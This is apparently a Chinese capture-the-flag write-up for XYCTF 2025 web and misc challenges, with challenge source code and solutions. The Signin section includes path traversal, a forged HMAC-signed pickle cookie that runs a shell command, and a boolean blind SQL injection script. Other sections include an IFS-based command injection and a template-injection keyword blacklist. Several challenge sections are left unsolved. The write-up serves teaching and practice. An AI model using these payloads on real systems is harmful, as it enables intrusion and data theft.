Turn str, int, etc. to bytes using {self.default_encoder}
'''
type_of_message = type(message)
if type_of_message == str:
try:
message = message.encode(encoding=self.default_encoder)
except Exception as e:
raise TypeError(
'Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message, message, self.default_encoder, e))
elif type_of_message == bytes:
pass
else:
try:
message = str(message).encode(encoding=self.default_encoder)
except:
raise TypeError(
'Unexpected type "{}" of {}'.format(type_of_message, message))
return message
def unpadding_packets(self, data: bytes, pad_num: int) -> bytes:
'''
Delete the blank bytes at the back of the message
pad_num : number of the blank bytes
pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok)
'''
if pad_num == -1:
data = data.rstrip()
else:
while pad_num > 0 and data[-1:] == b' ':
data = data[:-1]
pad_num -= 1
return data
def padding_packets(self, message: bytes, target_length: int = None) -> tuple:
'''
Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode
The packet must be smaller then {target_length}
target_length = None : use self.default_message_len
'''
message = self.turn_to_bytes(message)
if target_length == None:
target_length = self.default_message_len
if len(message) > target_length:
raise MessageLengthError(
'the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length))
pad_num = target_length-len(message)
message += b' ' * pad_num
return (message, pad_num)
def pad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes:
'''
Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
target_length = None : use self.BLOCK_SIZE
'''
padding_length = block_size - (len(data) % block_size)
if padding_length == 0:
padding_length = block_size
padding = bytes([padding_length]) * padding_length
padded_data = data + padding
return padded_data
def send_large(self, message) -> None:
'''
Send message with the socket
can accept bytes, str, int, etc.
every non-bytes message will be encoded with self.default_encoder
Every packet is forced to be filled to {self.default_message_len} bytes
'''
message = self.turn_to_bytes(message)
message = compress(message)
message_list = [message[i:i + self.default_message_len]
for i in range(0, len(message), self.default_message_len)]
message_list_len = len(message_list)
self._send(self.padding_packets(
self.turn_to_bytes(message_list_len))[0])
message_index = 0
for message in message_list:
message_padded = self.padding_packets(message)
message = message_padded[0]
self._send(message)
message_index += 1
if message_index == message_list_len:
pad_num = message_padded[1]
self._send(self.padding_packets(
self.turn_to_bytes(str(pad_num)))[0])

def send(self, message) -> None:
'''
Send a message with the socket
can accept bytes, str, int, etc.
The data should not be larger than 9999 bytes
It can be used at any time
Use self.send_large and recv_large if you want to send a big message
'''
message = self.turn_to_bytes(message)
try:
message_len = self.padding_packets(
self.turn_to_bytes(len(message)), target_length=4)[0]
except MessageLengthError:
raise MessageLengthError(
'The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message))))
self._send(message_len)
self._send(message)


def _send(self, message: bytes) -> None:
'''
The basic method to encrypt and send data
MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE
'''
if self.cipher_aes != None:
output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE))
# plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE)
else:
output_message = message
self.s.send(output_message) # The TCP mode


def recvfile(self) -> bytes:
'''
Only receive file sent using self.send_largefile
'''
output = b''
while True:
a = self.recv_large(is_decode=False)
if a != 'EOF'.encode(encoding=self.default_encoder):
output += a
else:
break
return output
def recv_large(self, is_decode: bool = True):
'''
The return type can be bytes or string
The method to recv message WHICH IS SENT BY self.send_large
is_decode : decode the message with {self.default_encoder}
'''
message_listlen = self._recv(self.default_message_len).decode(
encoding=self.default_encoder).rstrip()
message_listlen = int(message_listlen)
message = b''
for i in range(0, message_listlen):
mes = self._recv(self.default_message_len)
if i == message_listlen - 1:
mes_padnum = int(self._recv(self.default_message_len).decode(
encoding=self.default_encoder))
else:
mes_padnum = 0
mes = self.unpadding_packets(mes, mes_padnum)
message += mes
message = decompress(message)
if is_decode:
message = message.decode(encoding=self.default_encoder)
return message
def _recv(self, length: int) -> bytes:
'''
The basic method to decrypt and recv data
'''
if self.cipher_aes != None:
if length % 16 == 0:
length += 16
length = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16
message = self.s.recv(length)
message = self.cipher_aes.decrypt(message)
message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE)
else:
message = self.s.recv(length)
return message
def unpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes:
'''
Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
target_length = None : use self.BLOCK_SIZE
'''
if block_size == None:
block_size = self.BLOCK_SIZE
padding = padded_data[-1]
if padding > block_size or any(byte != padding for byte in padded_data[-padding:]):
raise ValueError("Invalid padding")
return padded_data[:-padding]

def main():
Sock = SimpleTCP(password='LetsLament')
Sock.s.bind(('0.0.0.0', 13337))
Sock.s.listen(5)
while True:
_ = Sock.accept()
Sock.send('Hello, THE flag speaking.')
Sock.send('I will not let you to control Lament Jail forever.')
Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.')
Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.')
a = Sock.recvfile().decode()
waf = '''
import sys
def audit_checker(event,args):
if not 'id' in event:
raise RuntimeError
sys.addaudithook(audit_checker)

'''
content = waf + a
name = uuid4().hex+'.py'
with open(name, 'w') as f:
f.write(content)
try:
cmd = ["python3", name]
p = Popen(cmd, stdout=PIPE, stderr=PIPE)
for line in iter(p.stdout.readline, b''):
Sock.send(line.decode('utf-8').strip())
p.wait()
Sock.send('Done, BYE.')
except:
Sock.send('Error.')
finally:
Sock.s.close()
remove(name)
if __name__ == '__main__':
while True:
try:
main()
except:
pass

喜欢就说出来*

小Shark在上课时和自己的暗恋对象坐在了一起,小Shark想要把悄悄话和文件传给同桌,可惜小Shark没有移动硬盘,不过这难不住聪明的小Shark,小Shark在同桌的电脑上敲了几下键盘,用自己的浏览器给同桌试传了两张自己的照片和一句悄悄话,你能发现小Shark对同桌说了什么吗?会不会是……520?!呢?

是流量包分析呢,先润

Web

Signin

来点真正的签到吧!

py
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

这里绕过读取文件的限制,./../相当于../,意义为先进入当前目录(其实就是留在原地),然后再退到上一级目录

/download?filename=./.././.././../secret.txt得到Hell0_H@cker_Y0u_A3r_Sm@r7

下面跟Bottle Poem大致一样,pickle反序列化+cookie签名,不过这里cookie的签名用的不再是md5而是sha256,应该是出于安全性考虑

py
import hashlib
import hmac
import base64


def gen_cookie(payload):
b64pld = base64.b64encode(payload)
signature = base64.b64encode(
hmac.new(
b"Hell0_H@cker_Y0u_A3r_Sm@r7", b64pld, hashlib.sha256
).digest()
)
return b'"!' + signature + b"?" + b64pld + b'"'


data = b'''(cos
system
S'cat /flag_* > flag'
o.'''
print(gen_cookie(data).decode())

然后通过/download?filename=flag路由进行下载即可
XYCTF{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

ezsql(手动滑稽)

简单sql(手动滑稽),不需要sqlmap等自动化工具,请手工哟∧_∧

username单引号注入报错,确定为注入点,也可以看出是sqlite

fuzz一下发现空格+-*|换行符逗号union等被过滤了
找到绕过参考
先试试万能密码能不能直接登陆,发现是可以的

这里尝试盲注能不能注出秘钥

空格可以用%09tap代替,逗号from for

改一下以前的布尔盲注脚本

py
import requests

url = 'xxx/login.php'
text = ''
i = 0
j = 0
while True:
head = 1
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) >> 1
# payload = f"1' or ascii(substr(database() from {i} for {i})) > {mid}#"
# testdb
# payload = f"1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {i} for {i})) > {mid}#"
# double_check,user
# payload = f"1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='double_check') from {i} for {i})) > {mid}#"
# secret
payload = f"1' or ascii(substr((select group_concat(secret) from double_check) from {i} for {i})) > {mid}#"
# dtfrtkcc0czkoua9S
# param = "id" + payload
data = {"username": payload.replace(" ", "\t"),
"password": "123456"}
# r = requests.get(url, params=param)
r = requests.post(url, data=data)
if "帐号或密码错误" not in r.text:
head = mid + 1
else:
tail = mid
if head != 1:
text += chr(head)
print(text)
else:
break

输入秘钥后,告诉我们命令执行无回显,又过滤了空格,简单,直接重定向
command=cat${IFS}/flag.txt${IFS}>1.txt

ez_puzzle

你能在两秒之内完成拼图吗?

可以搜索前端js脚本,因为本题的关键肯定是在时间,所以搜一下time,发现了startTime endTime

完成拼图后通过侧边栏进入开发者工具,正常来说花费的时间应该是endTime-startTime,控制台只能查看startTime,说明我们只能通过完成拼图那一刻才能得到endTime,也就是前端页面的实时时间

所以我们可以在控制台输入startTime=Date.now(),从而使花费的时间为0


flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

fate*

一生中能改变命运的机会可不多啊。

py
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

Now you see me 1*

{%print("Welcome the four horsemen tonight!")%}

先解base64

py
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

Now you see me 2*

{%print("We are the four horsemen.")%} 压缩包密码为“Now you see me 1”的flag

出题人已疯*

出题人已疯,你知道出题人为什么疯吗

py
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

出题人

出题人又疯*

出题人又疯了,你知道这次出题人为什么疯吗?
(附件密码是“出题人已疯的flag”)